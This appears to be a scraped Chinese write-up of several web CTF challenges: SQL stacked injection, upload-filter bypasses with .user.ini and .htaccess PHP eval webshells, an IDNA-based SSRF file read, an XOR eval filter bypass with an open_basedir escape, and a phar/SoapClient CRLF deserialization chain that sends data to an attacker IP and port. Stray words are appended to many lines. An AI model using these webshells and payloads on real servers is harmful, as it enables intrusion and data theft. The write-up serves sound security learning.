这是一个考察堆叠注入的题目,可是这道题由于做者的过滤不够彻底因此存在非预期解php
非预期解html
直接构造 *,1
这样构造,最后拼接的查询语句就变成了 select *,1||flag from Flag
,能够直接获得当前表中的所有内容,就可以直接得到flagnginx
正常解题git
堆叠注入,先构造 1;show tables;#
能够获得当前的表信息github
而且根据回显,咱们能够大体判断查询语句为: ... POST['query']||flag ...
web
直接构造 1;select * from Flag;#
出现Nonono
, 能够知道存在过滤,过滤了flagsql
这时候,经过堆叠注入,设置 sql_mode
的值为 PIPES_AS_CONCAT
,从而将 || 视为字符串的链接操做符而非或运算符,因此构造出来的payload为:1;set sql_mode=PIPES_AS_CONCAT;select 1
shell
获得flag后端
上传文件的时候发现,上传扩展名为aaa的文件,回显<? in contents!
,说明文件的内容不能包含<?,能够知道上传的时候是黑名单过滤,直接把文件的尾缀改成jpg,回显exif_imagetype:not image!
服务器
猜想后端应该调用了php的exif_imagetype()
函数,这个很好绕过,添加图片文件头就能够了,我这里添加的是GIF89a,上传成功一个文件以后,在回显中,发现上传目录中存在index.php
文件
这里就能够知道须要用到.user.ini
文件了,先上传一个.user.ini
文件,上传文件内容为
GIF89a
auto_prepend_file="test.png"
经过auto_prepend_file
指定须要包含的文件,这里我包含了一个test.png
接着在上传须要包含进去的test.png
文件,文件内容为:
GIF89a
<script language="php">eval($_POST['five'])</script>
这时候,其实就把test.png文件里面的一句话包含进了上传文件目录里的index.php文件中,能够直接在index.php中执行一句话,蚁剑连上,能够在文件中找到flag,读取就好
贴一篇优秀的文章
进入页面后给了源码:
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
\#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
这题的出题思路来自于今年BlackHat的一个议题,相关PPT以下:
其中关于Python的内容以下:
大佬写的一个脚本,用来寻找可用字符:
\# coding:utf-8
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
下面就是寻找利用方式了,根据题目中的提示:
前面的url部分应该是suctf.cc
还提到了Nginx,Nginx的配置文件目录为:/usr/local/nginx/conf/nginx.conf
跑上述脚本的的时候,其中有一个可利用字符:
由此能够想到构造:file://suctf.c℆sr/local/nginx/conf/nginx.conf
(另外一种绕过方式是利用ℂ来代替c及进行绕过),这样能够读到flag的位置:
最后构造payload:file://suctf.c℆sr/fffffflag
题目页面给了源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
代码分为两部分,上面是get_the_flag()
函数,应该是一个文件上传功能的验证函数,下面是经过 _
传参进去,若是能经过一系列的检验则能够执行eval()函数。若是这题是考RCE的话,为何还要给出文件上传的代,再看那些过滤,几乎很难去绕过,因而考虑调用get_the_flag()
函数来看看可不能够经过文件上传功能
因此接下来要构造payload绕过正则检测而且调用get_the_flag()
,这里的过滤很是严格,几乎过滤了全部可见字符,能够看下这篇文章 https://www.leavesongs.com/penetration/webshell-without-alphanum.html
就能够知道如何来绕过了,这里能够利用不可见字符的异或来构造,脚本以下
<?php
$payload = '';
for($i=0;$i<strlen($argv[1]);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);
if($k == $argv[1][$i])
$payload .= '%'.dechex($j);
}
}
echo $payload;
能够获得
因此尝试构造payload:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
构形成功,因而构造payload:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
接下来就是经过上传来getshell了,这里确实是须要上传.htaccess文件了,绕过方式能够参考这篇文章:
http://www.javashuo.com/article/p-xmfiewue-dx.html
exif_imagetype()
的绕过方式和上面同样
这里注意到php版本为7.2因此,不能用<script>
标签绕过<?
的过滤了,能够经过编码进行绕过,如原来使用utf8编码,若是shell中是用utf16编码则能够Bypass
直接利用脚本生成文件:
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file(filename, script): phpfile = open(filename, 'wb') phpfile.write(script.encode('utf-16be')) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess(): htaccess = open('.htaccess', 'wb') htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .lethe\n') htaccess.write(b'php_value zend.multibyte 1\n') htaccess.write(b'php_value zend.detect_unicode 1\n') htaccess.write(b'php_value display_errors 1\n') htaccess.close() generate_htacess() generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")
而后利用Postman分别构造上传.htaccess
和shell.lethe
:
获得了文件路径 upload/tmp_f4e7685fe689f675c85caeefaedcf40c/shell.lethe
利用shell.lethe执行命令了,可是还须要绕过open_basedir
。
参考:从PHP底层看open_basedir bypass
因而构造payload以下:
?cmd=chdir('/tmp');mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('*'));
获得flag位置后,最后读取flag便可,payload:
?cmd=chdir('/tmp');mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents(THis_Is_tHe_F14g));
题目给了源码,因此就是进行代码审计
class Ad{ ...... function __destruct(){ getFlag($this->ip, $this->port); //使用你本身的服务器监听一个确保能够收到消息的端口来获取flag } } if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ if(isset($_POST['admin'])){ $ip = $_POST['ip']; //你用来获取flag的服务器ip $port = $_POST['port']; //你用来获取flag的服务器端口 $clazz = $_POST['clazz']; $func1 = $_POST['func1']; $func2 = $_POST['func2']; $func3 = $_POST['func3']; $arg1 = $_POST['arg1']; $arg2 = $_POST['arg2']; $arg2 = $_POST['arg3']; $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); } } ......
也就是说须要经过SSRF来反序列化触发getFlag函数,因此继续查看代码
#class.php ...... function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo); } ......
参考zsx的文章:https://blog.zsxsoft.com/post/38,查看finfo_file的底层代码
阔以发现finfo_file也调用了,因此finfo_file也是可以触发phar反序列化的,那么就能够利用SoapClient来经过SSRF以POST方式访问到admin.php文件。不过在func.php中又作了限制
<?php include 'class.php'; if (isset($_POST["submit"]) && isset($_POST["url"])) { if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){ die("Go away!"); }else{ $file_path = $_POST['url']; $file = new File($file_path); $file->getMIME(); echo "<p>Your file type is '$file' </p>"; } }
phar协议不能出如今开头,仍是zxs那篇文章里写的
也就是说阔以构造绕过一下来调用phar协议,这里的吹一下altman(https://altman.vip/),fuzz到一个能够利用的方法php://filter/resource=phar://
因此接下来就是生成一个phar脚本,上传后经过func触发就行了
<?php class File{ public $file_name; public $type; public $func = "SoapClient"; function __construct(){ $this->file_name = array(null, array('location' => "http://127.0.0.1/admin.php", 'uri' => "c", 'user_agent' => "catcat\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 133\r\n\r\nip=72.19.12.57&port=1234&admin=1&clazz=ArrayIterator&func1=append&func2=append&func3=append&arg1=1&arg2=1&arg3=1\r\n\r\n\r\n")); } } $o = new File(); $phar=new Phar('poc.phar'); $phar->startBuffering(); $phar->setStub("GIF89a< ?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering();
我本身在运行脚本的时候,出现了错误提示
须要把phar.readonly设置为Off
而后改个后缀上传,我这里改为了jpg,
vps上监听一下端口,到func.php触发就能够了
问题来了~~~,我监听不到,不知道是什么问题,感受多是国外的IP,不能访问???
迷惑,有时间再看吧,咕咕咕~~~
没看懂,只能把网上大佬的wp搬过来了~~~
再加上点其余大佬的连接